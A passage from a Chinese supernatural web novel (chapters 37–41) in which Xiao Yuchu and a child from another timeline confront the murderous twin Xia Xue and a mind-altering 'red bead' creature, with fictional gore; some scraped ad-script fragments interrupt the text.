“你就是那两个傻子的同伙吧？”一个轻佻但又冷淡的女声。 肖与楚浑身紧绷，她回头一看，更是吓得脊背发凉，眼前这个女人竟然督察队的那个女人。 她……怎么会在这里？ “我不是她，不会把你们怎样的。”女人一下子就看穿了肖与楚所想。 肖与楚发觉眼前这个女人虽然和那个女人一模一样，但穿着不同，面部细节上也有所不同，眼前这个女人更像是个调皮的女孩，她的表情也更加柔和，姿态也亲近。 “你们是双胞胎？”肖与楚尽量让自己看来平和一些。 “可以这么说吧。”女孩撇了撇嘴，看起来不想就这个问题说太多的样子。 肖与楚追问道：“我那两个朋友呢？” “喏，”女孩探了探身子，指了指下面，“在那儿呢，睡着了。” 肖与楚探出身子，才看见小野和张进两人窝在一块，身上盖着一个和岩石的颜色差不多的防风毯。 “你把他们俩怎么了？”这种环境，肖与楚不觉得这两人能睡着。 “只是给他们用了一点药，我也是没办法啊，要是他们被我姐姐发现，那就不得了了，她最近这脾气，肯定会杀了他们的。”女孩语气很淡，听不出来什么情绪，但提起那个女人，连肖与楚也感到头皮发麻。 “谢谢。”肖与楚回道。 “不用谢。”女孩善意地笑了笑，“你赶紧把他们弄回去吧，再晚点就麻烦了。” “嗯。”肖与楚思索再三，还是跳了下去，她下了河滩，踩着崎岖不平的石滩，向张进和小野靠近。 她的心脏咚咚咚地跳，时刻都担心女孩会做出点什么让人意想不到的事。但直到她走到小野和张进面前，什么事都没发生。 夕阳余晖中，小野和张进依偎在一起，样子十分安详，安详得让人觉得是两个死人。 肖与楚犹疑着伸出手凑到张进鼻子跟前，发先他还有呼吸，接着他又把食指凑到小野鼻子跟前。 等一等……肖与楚心头一紧，小野为什么没有呼吸？肖与楚掠过一丝不祥的预感，还没等她之一，她就突然感到一阵强烈的麻痹感从后背传来，她浑身颤抖，宛如触电一般无法控制自己的身体。 这是……？ 就在此时，那个女孩得意的笑声飘进了肖与楚的耳朵。 不好，大意了。肖与楚两眼一黑，失去了知觉。 38. 038 肖与楚的身体不停地撞击着地面，隐隐的疼痛从各处传递到大脑中。她试着动了下，耳边立马传来女孩的声音。 “真厉害，这么快就有知觉了。”女孩还是那副淡淡的语气，“不过你已经被我绑了，动不了，就别瞎折腾了。” 肖与楚费力睁开眼睛，想开口说话，但喉咙像是被堵住了，怎么也张不开嘴。 这究竟是什么地方？ 她试图看清，却只能感觉到模糊的灯光，灯光很暖，空气中飘着一股清新的花香味，让肖与楚产生了一种久违的家的感觉。 她的身体随着女孩的脚步而欢动，突然女孩把她一扔，她朦胧的视线便固定在了一块灰白色的墙壁上。 是天花板。 下一秒钟，一双明亮的眼睛出现在肖与楚模糊的视线中。 “你……”肖与楚终于艰难地吐出了一个字。 “呵——”女孩长长地叹了一声，她盯着肖与楚的脸认真打量了会儿，“长得还行，也比我想象中的要强，在我手底下能这么快清醒的人不多。” “你……做了什么？”肖与楚说话艰难。 “哎，只是把你们弄晕而已啊。”女孩满不在乎地说道，“不要那么大的敌意。本来我只想对付那个男的，谁叫你们接二连三地出现呢，一看就是一伙儿的，干脆一起解决算了。” 肖与楚无语。 “你们是住在临时安置区的吧？”女孩转过头，走到一个木色置物柜前，扫了一眼置物柜上的瓶瓶罐罐，从中拿出一个蓝色药瓶，倒出两粒白色药片，转头俯身喂到肖与楚嘴边。 肖与楚别过头去。 “哎呀，不是毒药，只是让你尽快恢复神智。”女孩对肖与楚如此警惕很是不屑。 肖与楚想了想，张开了嘴。 女孩把药塞进肖与楚嘴里，然后一屁股坐在床上，颇为不解地问肖与楚：“你们几个知道被我姐抓到是什么后果吗？” “知……道。”说话间，她感觉身体轻松了不少，四肢也能动了，药效真是快。 “知道还那么干？”女孩觉得不可思议，“你们该不会是疯了吧？” 肖与楚没法辩解，那个女人的能力，她见识过了，贸然出来的确有点发疯的嫌疑。 “看来，你也觉得自己疯了。”女孩冲着肖与楚微微一笑，她起身往房间的一侧走了几步。 肖与楚这才看清楚，原来在另一侧还有一张床，不过这张床的形状，看起来太像手术床了。 “这个男的是你老公？” 肖与楚：“不是，只是朋友。” “朋友，你们母女俩还这么上心，真是难得一见啊。”女孩提溜起张进的手腕，红色手串在灯光的映衬下，已经变得血红。 “你知道这是什么东西吗？” “知道一些。”肖与楚回道。 “一些？”女孩笑容凝固，目光变得谨慎，“你从哪里知道的？” 肖与楚：“你想干嘛？” “我想干嘛？”女孩调皮地咧开嘴笑了，“我看见她脖子上也有这种东西。” “她？”肖与楚反应了过来，“你姐姐？” “嗯。” 当时肖与楚并未注意到那个制服女人脖颈上是否戴有什么饰品，也或许她把那个东西藏在了衣服之下。 “所以这到底是什么东西？”女孩摇晃着张进的手腕问肖与楚，“为什么我感觉这个东西会影响人的心智？” “别的时空的生物。” “我就知道！”女孩打了个响指，“难怪她这几天变化这么大，原来是被这玩意儿影响了。” “她以前……不那样？” “那样是哪样？你是说杀人吗？嗯，也杀，不过都是该杀的人，最近有点过分了。”女孩说到这里沉默了几秒钟，“对了，我叫夏霖，夏天的夏，雨木霖的霖，是督察队副队长夏雪的妹妹。” “她叫……夏雪？”肖与楚记得好像有个什么电视剧里也有人叫这个名字。 “是啊，”夏霖抱着胳膊，“我们俩是双胞胎，但是我跟她性格不一样，行事方式也不同。” “看出来了。” 夏霖挑眉，“这个东西到底要怎么拿下来呢？我试过了，好像粘在了他胳膊上一样，除非……” “除非什么……” “除非把他手腕砍下来，不然根本没办法脱离。”夏霖不知不觉从床上拿起一把明晃晃的锯子。 “别。”肖与楚阻止道。 “你的意思是别锯掉他的手腕？但是不锯掉，怎么才能救人呢？他要是一直这样，说不定会疯，肯定会死。”夏霖举着锯子，认真问道。 肖与楚一筹莫展，她无法回答夏霖的问题。 “哎，这太麻烦了。而且你们失踪超过三个小时，临时安置点的人也会找你们，到时候我姐可真不会放过你们了。” 肖与楚还是没吭声，但她突然明白了夏霖的心思，她的真正目的是想知道如何去除夏雪身上的那种生物，只是现在她还找到方法，这时候张进突然冒出来，刚好做她的试验品。 事已至此，还是要先保住张进的胳膊，他是厨师，靠手艺吃饭的人。虽然这辈子他不一定再有机会当大厨了。 “你先放开我。”肖与楚挣扎了几下。 “你说放就放？那也太容易了。” “我可以想办法。” “万一你想不到呢？” “我不是都在你手上吗？只要你愿意随时都可以让你姐姐碾死我啊。” 夏霖听肖与楚这么说，眼睛里闪过一丝惊讶的神色，眼前这个女人似乎比她还要疯狂呢。她放下锯子，慢悠悠地走到了肖与楚身边，她蹲下身子，准备解开肖与楚手腕上的绳子。 “你有办法为什么不早帮他取下来？”夏霖没着急解，而是问了一个问题。 “我也是刚刚才知道那个手串有问题，还没来得及细致研究它，你总要给我一点时间。”肖与楚说。 “时间是最宝贵的东西。”夏霖一边解绳子一边说，“你的时间已经不多了。” “嗯，我有个请求。” “说。” 肖与楚的视线落在小野身上，“你能不能把她也弄醒？我需要她帮忙。” 夏霖把绳子扔在一旁，道：“她这么小能帮什么忙？还是说，你想带着她一起跑啊？” “我也要能跑得掉啊才行啊。”肖与楚一边反驳一边解开脚腕上的绳子。 “那倒是，这个地方想跑出去可没那么容易。”夏霖很有信心，她随手把一粒药片扔给肖与楚，“不过，我还有点事，不能再在这里陪你们了，你们把他胳膊上那东西取下来，就按墙上那个按钮通知我。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 夏霖说着指了指门边那堵墙上的一个红色按钮，按钮看起来跟防火开关差不多。 一声沉闷的关门声后，房间里陷入了死一般的寂静。 肖与楚盯着手上的药片看了一会儿，才走到小野身边，她下意识地试探了一下小野的气息，才发现她有微弱的呼吸。肖与楚松了口气，她把药片塞进了小野的嘴里，她不知道这个时空的东西，会不会对其他时空的小野产生什么副作用。 好的是，几秒种后，小野也从地上竖了起来，她几乎在醒来的同时，就发出了一声刺耳的尖叫。 “啊——” 这声尖叫几乎冲破肖与楚的耳膜，她急忙上前捂住小野的嘴。 “别喊了。”她道。 小野眨巴着眼睛看着肖与楚，眼泪却无声地从眼眶里流了出来。 “你怎么了？”肖与楚手忙脚乱地给小野擦眼泪。 “呜呜呜——”小野抱着肖与楚的胳膊，哭了起来，“妈妈，不要离开我。” 肖与楚感受到小野身上传来的淡淡的体温，一时间不知所措，她摸了摸小野的脑袋，才说：“我不会离开你的。” “他们都死了，呜呜呜……” “谁都死了？” 小野突然止住了哭声，她吸了吸鼻子，从肖与楚的怀里挣脱出来，细细地打量肖与楚的脸。 “我做梦……梦见所有人都死了。”小野的眼珠子转啊转，让肖与楚怀疑她说的话的真实性。 但她没有去追问，只是擦了擦小野脸上的泪痕说道：“别哭了，我们现在被人抓了，需要在三个小时内想出办法。” “什么办法？”小野泪光闪闪。 肖与楚把刚刚所经历的一切，一五一十地说给小野听。她对小野毫无保留，也相信她能听明白，等她说完后，小野脸颊的泪痕消失了，取而代之的只有严肃。 当这样一张小笑脸摆出如此严肃的表情，倒让肖与楚觉得不适应了。 “我仔细看看有没有什么其他记录，”小野说着从包里拿出了她的仪器，接着她就埋头在仪器里查看起来。 肖与楚瞟了一眼，发现仪器上显示的都是自己不认识的文字，就算让她看，她也看不懂。于是她便起身在房间的各处查看起来。 这个房间没有窗户，头顶上的白炽灯不算太亮。房间里放着两张床，手术床和墙角这张单人床之间有一个厚帘子隔开，只是帘子现在拉开了。 手术床旁还有一个及腰的置物架，置物架里摆着各种各样的手术器具，包括那把锯子。 那个白色储物柜就在手术床尾几部的位置，上面放着各种各样的小药瓶，但刚刚夏霖给肖与楚拿药的那个药瓶却不见了。 肖与楚又走到门边，拉了拉门，的确锁上了，很难拉开。而且就算拉开了，也不知道外面是什么景象。 还是要谨慎点为好。 在看完房间后，肖与楚回到了张进旁边，张进还在熟睡之中，他脸上有不少伤痕，手腕上的那个手串在灯光映衬下，有点渗人。 她准备伸手去取，就被小野制止了。“别动它，不然它也会吸在你身上的。” “那就真的没办法了？” “我还在找，也许有其他前辈留下的资料。”小野说道，突然她停下了手，看着屏幕上的一段话出了神。 “这是……” 39. 039 小野似乎对屏幕上的那段话很不理解，只是在盯着屏幕出神，而对肖与楚来说，屏幕上的文字无异于天书。 小野又按了屏幕几下，调出了这段文字的翻译版本。 “红珠，是我来到这个时空中最为喜欢的一种生物，它们似乎以一种美好的姿态在这个时空里活着，依靠吸食一种奇怪植物的汁液为生。看起来毫无伤害性对吧？但是如果将它们移到陌生的环境，就会变成利器，它们会扰乱其他物种的心智，要是我能带回去，我一定用这种东西让那些小瞧我的人崩溃……” “看来这个人怨念很深。” “这很正常啊，去别的时空搜集资料是个很辛苦的工作，很多人因此生病呢。” 肖与楚继续往下看。 “红珠喜欢成双入对的出现，如果在一起，它们就会表现出十分平和的态度，但如果分开，就会跟正常无异。” “这些资料为什么之前没被发现？” “这个嘛，这是我从隐藏的资料库里找到的。我妈说这里的东西不要随便看。” “哦……” 肖与楚看了这段话明白了，现在需要的就是让张进和夏雪见面。那个叫夏霖的女人，既然能让她昏睡着来这里，应该也有办法对付夏雪吧。 肖与楚只要一想到夏雪，就会想到林预被挤压得变形的脑袋，想到那血肉模糊的画面。 “不知道她什么时候回来。”肖与楚喃喃说道。 肖与楚不知道的是，此刻夏霖正坐在不远处的一间办公室里，仔细观察着房间里发生的一切。在她身边还站着好几个中年人。 其中一个戴着眼镜的斯文中年人看着屏幕上的肖与楚和小野，问道：“你怎么知道这母女俩与众不同？” “我问过那两个士兵了，副队长愿意把一切交给她，就能证明她的确与众不同啊，只是他死了，很多事情也无法对质了。”夏霖漫不经心地说道。 “她真能解决夏雪的麻烦？”另一个体格强壮、穿着制服的男人也问。 “你们不是听到了吗？她已经找到了问题的关键，等她解决了夏雪这个问题，我们就可以让她进庇护所了。” “我们现在麻烦很多，从弘愿寺出来的还不知道是什么东西，这些人尽做些顾头不顾尾的实验，倒霉的只有我们。”制服男很不满。 房间里陷入了短暂的沉默。 “先把夏雪的事情处理好吧。”夏霖疲惫，她知道如果再不控制住她的姐姐，可能会闹出更大的事端。 “好在夏雪现在还没疯到那个地步，她要真是乱来，恐怕我们得轰掉她的脑袋。”制服男看着屏幕说道。 在众人侃侃而谈的时候，突然响起了敲门声。 “请进。”夏霖说道。 门被推开，出现在门口的是一个神色慌张的士兵。 “不好了，夏队长带着人往庇护所核心区去了。” 夏霖蹭地一下从座椅上站了起来，盯着前来报告的士兵，生硬地问道：“你刚刚说什么？” “我……我说，夏队长带着人核心区去了。” “糟了。”有人叹道。 核心区住的可都是权贵、大佬，万一夏雪惹出什么麻烦，可不是夏霖能兜底的。 夏霖的神色也变得凝重起来，她起身往门外走去。 在夏霖接到噩耗时，肖与楚正依在门上，思考着该如何面对夏霖，不一会儿，她听到门外有动静，好像有什么人往这边来了， 而且不止一个，是好几个人，脚步声笃笃，听起来是军靴在地上摩擦。 她后退了几步。 吱呀一声，门被推开了，出现在门口的是夏霖还有好几个身材魁梧的男人，他们目光冰冷，打量着肖与楚。 “突然发生了点事情，等不了那么长的时间了，你们必须尽快跟我们走一趟。” “什么意思？”肖与楚察觉到刚刚似乎被夏霖骗了，她被人群簇拥，看起来地位很不一般。 “我姐往核心区去了，我们必须带着他一起去。”夏霖挥了挥手，让人把张进扛了出来，“你们刚刚说的我都听到了，关于你们的来历，我们以后再谈，现在要解决的是我姐的事。” 肖与楚和小野立即被几个士兵包围，他们架着肖与楚，抱着小野出了门。门外是宽阔的走廊，众人簇拥着进了电梯。肖与楚才发现他们是在地下。电视上了十几层才到达了地面，接着他们又被带上了一辆汽车，车上的人都穿着统一制服，还带着防爆头盔连肖与楚和小野也被分配了头盔，要求戴上。 “这是为了保护你们，”夏霖说道，“但是如果夏雪发起狂来，这顶头盔也不顶用。” “张进呢？”张进头上什么也没有，现在有一个士兵正在给他喂药，他应该很快就要醒了。不知道他醒来会不会抓狂。 “他不需要……” 肖与楚明白了，张进这个诱饵是当定了。 没多久，张进就在沉睡中醒了过来。看到眼前这么多黑衣人，他吓了一跳，刚挣扎了几下，就被身边的人按住了。 “别白费力气了。”肖与楚劝阻道。 张进看到肖与楚也在，顿时松了口气。 “你们……我，怎么会在这里？”张进茫然问道。 车厢里的气氛很压抑，没有人回答张进，肖与楚冲他使了个眼色，示意他安静一些。 车子行驶了几分钟左右，就到达了目的地。 从车上下来时，周围黑得像墨一样，映入肖与楚眼帘的是几具血淋淋的穿着制服的尸体，一看他们的死相就知道是夏霖所为。 人群中有人发出了叹息声。 “这好像是她自己人。”制服男说道。 “连自己人都杀，她也太狠了。”斯文男说道。 “夏霖，这回你可不能再偏袒你姐姐了。”制服男的目光锁定在夏霖身上。 夏霖一脸凝重，很不自在地挥了挥手，示意大家继续前行。 肖与楚已经知道接下来要面对的是什么，周围肃杀的气氛和脚步声，让她感到胆寒。 这时候，小野从她身后过来，紧紧牵住了她的手。刹那间，一股暖流从肖与楚的手心蔓延开来。 她深呼吸一口气，捏了捏小野的手掌，继续跟着人群往前。 前方一片灯火通明，似乎是一个会议厅，会议厅里不时传出来凄厉的惨叫声，这惨叫声真切，但是却又像是被什么东西憋住了一样，无法传至远方。 夏霖带着众人到了会议厅附近，便停了下来。 “怎么进？”制服男问夏霖。 “我和肖与楚、还有这孩子，那个男的，你一起进，其他人在外面守着。”夏霖回答道。 “如果你们都出不来怎么办？”斯文男又问。 “都出不来，你就把这个礼堂炸了。”夏霖果断说道。 斯文男知道夏霖的脾气，她既然这么说，就代表这个结果她能承受。 “我明白了。” 夏霖又转向肖与楚，交代道：“待会儿见机行事。” 见机……行事……< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 肖与楚真想扒开夏霖的脑袋看看她的脑子装的是什么，就算见机行事，那也得看是什么机吧。夏雪那种恐怖的能力，一旦她发挥出来，连求饶的的机会都没有。 夏霖带着大家走到了会议厅大楼的门口，她在空气中划了划，就示意大家进去。 一踏进大门门槛，大厅里传出来的尖叫声就变得无比凄厉和扎心，和外边所听到的微弱的声音完全不同。 这是怎么回事？ “时空薄膜，”夏霖仿佛在回答肖与楚内心的疑问，“她挟持了一个很重要的人。” “什么人？” “应该是赵志。”夏霖神色更加凝重了，她转头看了一眼所有人，继续说：“各位，我姐的能力想必大家都知道了，她能隔空捏爆任何物种的身体，但是距离范围有限，通常在100米的范围内。” “这也……够宽了。”张进在制服男手底下挣扎了下道：“嘀咕，“而且你姐的事，跟我们有什么关系？” “跟你手上的那个玩意儿有关，我不知道你那手串哪儿来的，但是的确影响人的心智，现在需要你，也是你的朋友肖与楚研究出来的。”夏霖异常严肃。 “原来是你……”张进怒火中烧，想要上前跟肖与楚理论，被制服男拦住了。 果然，肖与楚叹气，她虽然没认识张进今天，但也知道他不是会因为这种事计较的人，看来这东西的确影响人的心智。 “走吧，再耽误下去，大家可能都没命了。” 众人兵分两路，肖与楚带着小野、张进、以及制服男从后门绕，而夏霖决定在前面吸引夏雪的视线。 肖与楚一行人走了几步后，会议厅突然又变安静了，周围只剩下死一般的寂静。 制服男抓着张进的胳膊，走在最前，他是那种典型的大众脸，如果不是穿着制服，肖与楚大概不会对他有什么深刻的印象。他走到一扇双开门门口，拉开了门，示意肖与楚和小野进去。 眼前是一条昏暗的走廊，众人又沿着走廊走了十几米，又打开了另一扇门，这扇门通往后台。 制服男示意大家保持安静，然后轻手轻脚地拉开了舞台侧门，留出一道缝隙，刚好可以看见外面的景象。 眼前的景象触目惊心，会议厅里应该坐着数十个人，但已经有好几个人的头都被捏扁了，其他人战战兢兢坐在座位上，头都不敢抬。还有一个穿着黑色T恤的年轻男孩，坐在第一排最角落，战战兢兢地摊着双手，好像在做法。 夏雪则站在舞台上，和一个看不清面孔的人面对面。他们俩之间甚至没有言语，只是有一种让人窒息的紧张氛围。 肖与楚看了几秒才注意到那个人浑身发抖。 “够了，夏雪。”从会议厅大门外走进来的夏霖冲着舞台上的人叫道。 夏雪微微转过头，盯着远处的夏霖。 “不要过来，”夏雪冷冷地说，“否则连你一起没命。” “你已经杀了很多人了，该收手了。” “收手？我们能力这么强，凭什么替这些废物卖命？” 嘭的一声，坐在舞台中央的老头应声倒了下去，没了声息。 “你病了，你以前不是这样的。”夏霖语气颤抖又绝望，“放了他们吧，我们好好谈谈。” “没什么可谈的，世界规则该改变了，能力强的人就成为王者，而不是这帮尸位素餐的废物。”夏雪转过身子，定定地注视着夏霖。“夏霖，你太软弱了，不配做我的妹妹。” 夏雪说着伸出了手。 40. 040 夏霖闭上了眼睛，却没感觉到疼痛，只感觉到身体发紧。她挣扎了几下，才发现身体完全不能动弹，像是被人固定住了一样。 “你……” 夏雪微微一笑。 “别怪姐姐，要怪就怪你太软弱，不过我不会杀你的，等完事后，我就放了你。” 夏霖还想劝说几句，但还没看口，就看见舞台一侧飘起一个像水母一样的生物。 这是…… 夏霖正疑惑，就看到门缝里露出半张脸，是那个姓肖的女人。看她的表情似乎是在提醒自己不要出声。 “夏雪，你不要再糊涂下去了！”夏霖试图转移夏雪的注意力。 “你少在我面前装蒜。”夏雪懒得和夏霖争辩，转而看向台下其他人，“我忍你们这帮人很久了，平时天天吆五喝六的，以为自己人上人，现在呢，怎么都哑巴了？不是挺厉害的吗？” 台下的人都低着头，没有人吱声，哪怕是连应和都没有。 夏雪看他们这样更觉得好笑了，她吐了口气，选择下一个目标，却突然感觉头顶有什么东西压了下来，黏腻的感觉顿时让她作呕。 就是这个时候了。 肖与楚毫不犹豫地朝着夏雪射击，一颗子弹从枪管里喷薄而出，击中了她的制服，迅速在她身上蔓延。 夏雪意识到了危险，她扯下盘踞在头上的不明物体，转过头，和肖与楚四目相对。 “你？”夏雪冷笑一声。 肖与楚只感觉头皮一紧，身体紧绷。 糟了。 这种感觉如此强烈，以至于肖与楚有一种濒临死亡的错觉，但几秒后，那种极致的压迫感就烟消云散，因为夏雪的身体被透明薄膜给裹住了。 “成功了。”肖与楚庆幸。 说时迟那时快，制服男钳住张进的胳膊，几步就冲到夏霖面前，他掏出匕首割开夏霖脖子位置的薄膜，将张进的手腕靠了过去。 整个大厅里除了薄膜里的夏雪发出的沉重呼吸声外，没有任何声音。 眼前的一切都很神奇，夏霖脖子上的那串红珠爬了出来，张进手腕上的红珠也散开了，两个小东西像是愉快的小蛇向彼此而去，不一会儿就纠缠在一起，合二为一。 如果不是亲眼所见，肖与楚大概也不会相信这种事会发生。 在众人惊愕的时候，小野已经摸出一把镊子和一个玻璃瓶，将红珠塞进了玻璃瓶里。 “把东西给我。”制服男不悦。 “不行，”小野摇头，“这东西归我了。” “给我！”制服男想要动手。 “就让她拿着吧。”夏霖从台阶上走了过来，她瞥了还飘在空中的水母，“我们现在有更重要的事要做。” 制服男还想开口，但被夏霖的眼神逼退了。 “各位，让你们受惊了。”夏霖转头对大厅里的其他人说道。 “受惊，这是受惊的问题吗？”刚刚还佝偻着腰，怕得不行的一个中年男人突然站了起来，摆出一副领导的姿态，“这事儿你得担责任。” “什么责任？”夏霖酸软无力。 “当然是……渎职！保护我们本就是你们的职责，结果你们弄成这样，死了这么多人。” “就是啊，我们每天为庇护所殚精竭虑，结果你们这帮人，仗着自己有异能就胡乱来，还有没有人把我们管委会放在眼里？” “聂主任说的没错，你们太过分了！” “就算要负责任，也得等最高长官才能做决定吧？”有人质疑。 “管委会这点权力都没有了？”一个留着胡须的中年男人大吼，“夏雪区区一个督察队副队长就把这里搅得天翻地覆。还有你，别以为是什么防卫部部长，我们管委会就怕，你们这种人，就应该送到实验……” 他话还没落音，就突然双手捂住脖子，一副惊恐的表情。 “老陈……你怎么了？”他身旁的人见他如此，吓着了。 老陈嘴巴张得老大，拼命呼吸，但那空气好像与他的喉咙无缘，他越想呼吸就越得不到，他瘫倒在椅子上，不一会儿脸就憋成了猪肝色。 这是为什么？肖与楚不解。 但夏霖立即就明白了这是谁的干的，她想要破解时空薄膜，但却发现无能为力。 “呵呵。”一个阴恻恻的笑声从大厅角落里传了过来。 赵志站起来，阴沉地扫视着会议厅的所有人。 “是不是发现你的能力不管用啦？”他的声音飘浮，明明没什么力量，却有一种极强的压迫感，好像周遭的空气被他凝固了似的。 “赵志，你做了什么？”夏霖感觉身体软绵绵的，那种可以划破时空薄膜的能力似乎莫名其妙丢失了。 赵志不言语，只是笑了笑，阴阴地盯着还在挣扎的老陈，渐渐老陈也不再动弹了。 肖与楚眼看着眼前局势逆转，内心也很震惊，她正琢磨下一步怎么办，身体就不受控制地飘了起来，那感觉就好像有一股神秘的力量在控制着他。 赵志又一甩，肖与楚和其他人就一起摔了出去，那一瞬间，肖与楚只感觉屁股开花。 看再也没有威胁，赵志终于上前撕开夏雪身上的薄膜，扶她站了起来。 “你没事吧？”阴沉的声音突然变温柔了许多，眼睛里更多了一股柔情。 “我没事。”夏雪依旧没什么表情。她甩开赵志的手，把身上黏糊糊的薄膜扔在地上。“夏霖，你真以为找这些人就能对付我了？” 说话间，大厅里又是“嘭”的一声，最开始出来挑事儿的那个中年人，脑袋被捏成了一张饼状。 夏霖惊愕地看着她的姐姐。这是她姐姐吗？是，尽管摘掉了红珠，可是她眼睛里的暴戾并没有消失。 这就是她，最真实的的她，可她记得姐姐不是这样的。 “你们这些管委会的人，都得死。”夏雪继续说道。 那帮大老爷们儿一听夏雪这么说，顿时吓得方寸大乱。有几个人慌里慌张地向会议厅门口跑去，但没来得及到门口就被了结了。 剩下几个也吓得半死，其中一个白发苍苍的老头扑通一声跪下来求饶。 “夏队长，我上有老下有小，你放了我吧。”他泪眼婆娑。 “老周，你老糊涂了，你都快入土啦，哪儿来的老？为了活命，你也是真敢编。”夏雪语气轻佻，却没什么表情，“没用的，你们都得死。” 嘭嘭嘭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的声音持续着，不一会儿，所有管委会的人的脑袋都像烟花一样爆炸了。 祈求、哭泣的声音化为乌有，只留下遍布的血迹和污渍。 夏霖身体瘫软，绝望地跪在了地上。 在赵志和夏雪的双重保险之下，无论如何他们都是不可能逃脱的。夏雪的能力有目共睹，而赵志则阻断了所有人逃跑的希望，他的时空薄膜异能，可以形成无形的空气墙。 要命的是，偏偏她阻碍赵志的能力突然消失了，而这一起诶只能是夏雪的阴谋。 “对不起。”夏霖喃喃地说道。 “对不起？嗯……”夏雪意味深长地笑了笑，“这话应该是对那帮人说的吧，他们的命真不值钱呐。” 而彼时的肖与楚，在经历了短暂的头脑空白后，已盘算出为什么他们会幸免于难，小野，是她吸引了夏雪。 果不其然，夏雪的目光转移到了小野身上，她扫来扫去，最后还是盯住了那个蓝色布包。 “小朋友，你过来。”夏雪冷冰冰地对小野说道。 小野犹豫地看了眼夏雪，又看了一眼肖与楚，似乎拿不定主意是不是该过去。 “姐，你不能这么做！她是个孩子。”夏霖劝阻道。 “她虽然是个孩子，但却不是一般的孩子，想必你早就看出来了吧？”夏雪眼底深不可测，“她的包，不是我们这里有的东西，她也跟我们这个时空的孩子不一样。” 夏霖哽住，她辩解道：“无论她从哪里来，她都只是个孩子。” “那就不好说了。你先过来。”夏雪的语气又严厉了些。 小野没动，而是拒绝道：“包我是不会给你的，而且我妈会打败你。” “你妈？”夏雪嘴角浮出一丝不屑的微笑，“你是说那个坐在地上看起来很虚弱的女人吗？且不说她是不是你的亲妈，你大概不知道我们这个时空的人最自私自利，刚刚那些人你都看见了吧？他们变脸快得跟翻书一样，前一秒还一脸道义，后一面就下跪求饶。” “谁说我不是她亲妈，你想动她，除非从我的尸体上踩过去！”肖与楚站了起来，她目光如炬，盯着夏雪。 连她自己也没想到会有这么大的勇气，现在的情况非常危险，说不定大家会一起完蛋。但无论如何，肖与楚都想保护一下小野，毕竟，毕竟她只是个孩子。 夏雪一愣，又不屑地冷笑，“那我就只能满足你了。” 肖与楚顿时感觉到一股强大的力量挤压她的身体，但她身体并不如那些人那么脆弱，没有爆炸，甚至……好像……可以和这股力量抗衡。 夏雪不由得暗暗吃惊，她从未见过任何人从她的力量下逃脱过。 这个女人是什么怪物？ 夏雪加大了力度，可是肖与楚并未如她所想的那样碎裂，不，她…… 好像发生了什么变化。 肖与楚只感觉身体里有奇异的力量在蔓延，好像有成千上万股气流在体内流窜，那些气流根本不受她控制，仿佛独立于她的身体而存在，她的大脑越来越不清晰，视线也越来越模糊。 其他人没弄明白什么回事，只看眼前一阵白光。 再看清楚时，夏雪和赵志都消失了。 41. 041 “你是说，众目睽睽之下，夏雪和赵志就这么没了？”赵石川一边吹茶杯里的茶叶一边问夏霖。 他的身材圆圆滚滚，那套黑色制服几乎要被他撑开了。这不怪他，毕竟现下很难找到合身的制服了。 “是。” “都是母女俩干的？” 夏霖摇了摇头道：“我没办法确定。” “她们俩现在在哪儿？” “我已经把她和孩子安顿在一个独屋了，派了人值守。她的那些朋友，也安顿了。” “嗯……”赵石川若有所思地点了点头，“昨天晚上发生的事，中心区的那些人都知道了，他们会尽管安排管委会的新人选的。” 夏霖愣了愣：“他们……不生气？” “为什么要气？”赵石川一口茶进肚，嘴角抽搐了两下，“他们根本不在乎这些人是谁，只需要人来管理这个地方就行。” 夏霖微微蹙眉。 赵石川又说：“那对母女暂时什么也别让她们干，好好看着她们，有人对她们感兴趣。” 夏霖一愣，随即说道：“该不会是……” 赵石川瞪了夏霖一眼，夏霖把话憋了回去，她不安地揉了揉指尖，冒出一种不祥的预感。“那对母女不是坏人，这样做会不会太过了？” “过不过不是我们说了算，那么大的事，迟早会传到那帮人的耳朵里。他们迟早会来要人。” “但是……” “好了，夏霖。你姐姐干的这些事，我们就不追究了，你怎么跟你妈妈说，我也不管。至于接下来该怎么做，你得听我的。”赵石川板着脸训道。 “知道了。” “嗯……对了，赵志没了，对庇护所没影响吧？” “目前没有。” “那就行，最近事情太多了，你姐和赵志发生这种事，弘愿寺那支小队又消失得稀里糊涂的。哎，我不在的这段时间，你得好好盯着，别再出岔子了。” “明白了。” 直到走出赵石川的办公室，夏霖才感觉到一阵虚无的力量从脚底板窜上来。走廊上到处都是忙碌的人影，有个人经过她身旁，冲她叫了夏雪的名字，她愣了一下，冷着脸点了点头，心里却泛起一阵酸楚。 她和夏雪不同，夏雪从来都是冷脸示人，而她则是快活和煦，因为大家平常都是穿着一身黑制服，周围人会通过面部表情去分辨她和夏雪。 但经历了昨天的事，她心情已经跌入了谷底，现在神色大概与夏雪无异。 夏雪和赵志都失踪了，弘愿寺逃逸出的生物现如今没有眉目，那个孩子和女人的确可疑…… 夏霖有太多事情要做，她马不停蹄地往下个地方赶去。 在她忙碌的同时，肖与楚则倚着窗户，定定地看着窗外。 这是一个普通的农家小院，院子里有几个酱缸，一棵长得歪歪扭扭小树苗，几盆花，让人有一种生活很安逸的感觉。 昨晚发生的事历历在目，肖与楚实在不记得是如何让夏雪和赵志消失的，她只知道那片白光闪过后，小野就昏过去了，等夏霖和她下属们回过神，她和小野就被强制送到了这里。 肖与楚没有反抗，不仅是因为有很多荷枪实弹的士兵包围着她们，还因为她觉得要顾及一下乔一伊他们的安全。 房间里传来了一阵轻微的咳嗽声，肖与楚转过头去，看见小野从床上竖了起来，两人四目相对。 “你醒了？”肖与楚问小野。 小野眨了眨眼，看了看四周，慢悠悠地说道：“嗯，昨天到底发生什么事了？我怎么都不记得了。” “你真不记得？”肖与楚不太相信小野的话。 小野摇了摇头。 肖与楚说：“夏雪和赵志两个人都消失了，和上次那条鱼消失的时候差不多。” “啊……”小野露出惊讶的神情，看起来不像演的。 “你觉得他们为什么会消失呢？” “我……我不知道。” 肖与楚：“你不可能什么都不知道，你说过你们的时空负责记录其他时空发生的事。那条鱼和夏雪、赵志的消失都是因为我吧？” 小野低着头捏着布包，不发一言。 肖与楚又道：“裂缝控制者到底是什么人？好人，还是坏人？你们的时空就一点资料都没有吗？” 小野只是沉默地盯着肖与楚的脸。 